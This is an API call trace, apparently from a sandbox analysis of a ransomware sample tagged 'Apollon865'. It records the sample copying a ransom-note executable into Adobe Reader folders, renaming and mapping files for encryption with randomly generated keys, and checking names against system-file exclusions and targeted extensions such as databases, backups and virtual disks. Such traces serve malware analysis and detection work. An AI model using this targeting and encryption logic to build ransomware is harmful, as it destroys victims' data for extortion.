	[0058.627] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE"
	[0058.627] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.627] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.633] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.633] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b056330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3b056330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.633] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.633] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.634] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services"
	[0058.634] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.634] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0058.634] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services") returned 69
	[0058.634] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services"
	[0058.634] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.634] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.639] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.639] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b056330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3b056330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.639] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.639] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.639] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK"
	[0058.640] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0058.640] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0058.640] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned 60
	[0058.640] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK"
	[0058.640] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.640] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.646] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.646] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b07c490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3b07c490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.646] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.646] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.647] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services"
	[0058.647] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.647] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0058.647] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services") returned 69
	[0058.647] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services"
	[0058.647] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.647] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.653] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.653] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b07c490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3b07c490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.653] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.653] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.653] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ"
	[0058.653] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0058.653] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0058.653] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ") returned 60
	[0058.653] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ"
	[0058.653] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.653] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.662] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.662] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b07c490, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3b07c490, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.662] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.662] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.663] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services"
	[0058.663] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0058.663] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0058.663] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services") returned 69
	[0058.663] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services"
	[0058.663] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.663] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.668] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.668] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b0a25f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3b0a25f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.668] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.668] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.668] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES"
	[0058.669] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0058.669] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0058.669] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned 60
	[0058.669] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES"
	[0058.669] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0058.669] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0058.675] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0058.675] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3b0a25f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3b0a25f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0058.675] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.675] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0058.675] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT.Apollon865") returned 89
	[0058.675] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\accessibility.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\accessibility.cat.apollon865"), dwFlags=0x1) returned 1
	[0058.676] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\accessibility.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0058.676] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=45056) returned 1
	[0058.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0058.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0058.677] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0058.677] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0058.678] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0058.678] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0058.679] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb300, lpName=0x0) returned 0x154
	[0058.683] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb300) returned 0x100000
	[0058.687] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0058.687] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0058.687] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0058.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0058.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0058.687] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0058.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0058.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0058.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0058.688] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0058.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0058.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0058.688] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0058.688] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0058.689] CloseHandle (hObject=0x154) returned 1
	[0058.689] CloseHandle (hObject=0x14c) returned 1
	[0058.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0058.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0058.689] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0058.689] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Acroform.CAT", cAlternateFileName="")) returned 1
	[0058.689] lstrcmpiW (lpString1="Acroform.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.689] lstrcmpiW (lpString1="Acroform.CAT", lpString2="Apollon865.txt.exe") returned -1
	[0058.689] lstrcmpiW (lpString1="Acroform.CAT", lpString2=".") returned 1
	[0058.689] lstrcmpiW (lpString1="Acroform.CAT", lpString2="..") returned 1
	[0058.689] lstrcmpiW (lpString1="Acroform.CAT", lpString2="windows") returned -1
	[0058.689] lstrcmpiW (lpString1="Acroform.CAT", lpString2="bootmgr") returned -1
	[0058.689] lstrcmpiW (lpString1="Acroform.CAT", lpString2="temp") returned -1
	[0058.689] lstrcmpiW (lpString1="Acroform.CAT", lpString2="pagefile.sys") returned -1
	[0058.690] lstrcmpiW (lpString1="Acroform.CAT", lpString2="boot") returned -1
	[0058.690] lstrcmpiW (lpString1="Acroform.CAT", lpString2="ids.txt") returned -1
	[0058.690] lstrcmpiW (lpString1="Acroform.CAT", lpString2="ntuser.dat") returned -1
	[0058.690] lstrcmpiW (lpString1="Acroform.CAT", lpString2="perflogs") returned -1
	[0058.690] lstrcmpiW (lpString1="Acroform.CAT", lpString2="MSBuild") returned -1
	[0058.690] lstrlenW (lpString="Acroform.CAT") returned 12
	[0058.690] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT") returned 78
	[0058.690] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Acroform.CAT" | out: lpString1="Acroform.CAT") returned="Acroform.CAT"
	[0058.690] lstrlenW (lpString="Acroform.CAT") returned 12
	[0058.690] lstrlenW (lpString="Apollon865") returned 10
	[0058.690] lstrcmpiW (lpString1="roform.CAT", lpString2="Apollon865") returned 1
	[0058.690] lstrlenW (lpString=".dll") returned 4
	[0058.690] lstrcmpiW (lpString1="Acroform.CAT", lpString2=".dll") returned 1
	[0058.690] lstrlenW (lpString=".lnk") returned 4
	[0058.690] lstrcmpiW (lpString1="Acroform.CAT", lpString2=".lnk") returned 1
	[0058.690] lstrlenW (lpString=".ini") returned 4
	[0058.690] lstrcmpiW (lpString1="Acroform.CAT", lpString2=".ini") returned 1
	[0058.690] lstrlenW (lpString=".sys") returned 4
	[0058.690] lstrcmpiW (lpString1="Acroform.CAT", lpString2=".sys") returned 1
	[0058.690] lstrlenW (lpString="Acroform.CAT") returned 12
	[0058.690] lstrlenW (lpString="bak") returned 3
	[0058.690] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0058.690] lstrlenW (lpString="ba_") returned 3
	[0058.690] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0058.690] lstrlenW (lpString="dbb") returned 3
	[0058.690] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0058.690] lstrlenW (lpString="vmdk") returned 4
	[0058.690] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0058.690] lstrlenW (lpString="rar") returned 3
	[0058.690] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0058.690] lstrlenW (lpString="zip") returned 3
	[0058.690] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0058.690] lstrlenW (lpString="tgz") returned 3
	[0058.690] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0058.691] lstrlenW (lpString="vbox") returned 4
	[0058.691] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0058.691] lstrlenW (lpString="vdi") returned 3
	[0058.691] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0058.691] lstrlenW (lpString="vhd") returned 3
	[0058.691] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0058.691] lstrlenW (lpString="vhdx") returned 4
	[0058.691] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0058.691] lstrlenW (lpString="avhd") returned 4
	[0058.691] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0058.691] lstrlenW (lpString="db") returned 2
	[0058.691] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0058.691] lstrlenW (lpString="db2") returned 3
	[0058.691] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0058.691] lstrlenW (lpString="db3") returned 3
	[0058.691] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0058.691] lstrlenW (lpString="dbf") returned 3
	[0058.691] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0058.691] lstrlenW (lpString="mdf") returned 3
	[0058.691] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0058.691] lstrlenW (lpString="mdb") returned 3
	[0058.691] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0058.691] lstrlenW (lpString="sql") returned 3
	[0058.691] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0058.691] lstrlenW (lpString="sqlite") returned 6
	[0058.691] lstrcmpiW (lpString1="rm.CAT", lpString2="sqlite") returned -1
	[0058.691] lstrlenW (lpString="sqlite3") returned 7
	[0058.691] lstrcmpiW (lpString1="orm.CAT", lpString2="sqlite3") returned -1
	[0058.691] lstrlenW (lpString="sqlitedb") returned 8
	[0058.691] lstrcmpiW (lpString1="form.CAT", lpString2="sqlitedb") returned -1
	[0058.691] lstrlenW (lpString="xml") returned 3
	[0058.691] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0058.691] lstrlenW (lpString="$er") returned 3
	[0058.691] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
